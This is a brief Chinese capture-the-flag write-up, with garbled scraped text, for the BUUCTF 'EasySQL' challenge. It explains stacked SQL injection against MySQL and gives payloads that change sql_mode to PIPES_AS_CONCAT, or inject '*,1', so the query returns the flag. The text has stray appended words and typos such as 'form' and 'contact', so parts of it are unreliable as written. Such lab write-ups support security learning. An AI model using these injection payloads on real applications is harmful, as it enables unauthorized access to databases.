buuctf Easysql 小记

堆叠注入mysql

 

利用原理:sql

补充系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的链接操做符而非或运算符,这和Oracle数据库是同样的,也和字符串的拼接函数Concat相相似数据库

猜想后台sql语句为:函数

select 接受的变量 || flag form flag;orm

payload:ip

1;set sql_mode=pipes_as_contact;select1;字符串

//闭合     //设置变量                         //拼接sql语句pip

 

*,1form

//拼接起来的sql语句是    select *,1 || flag from flag;后台

相关文章
相关标签/搜索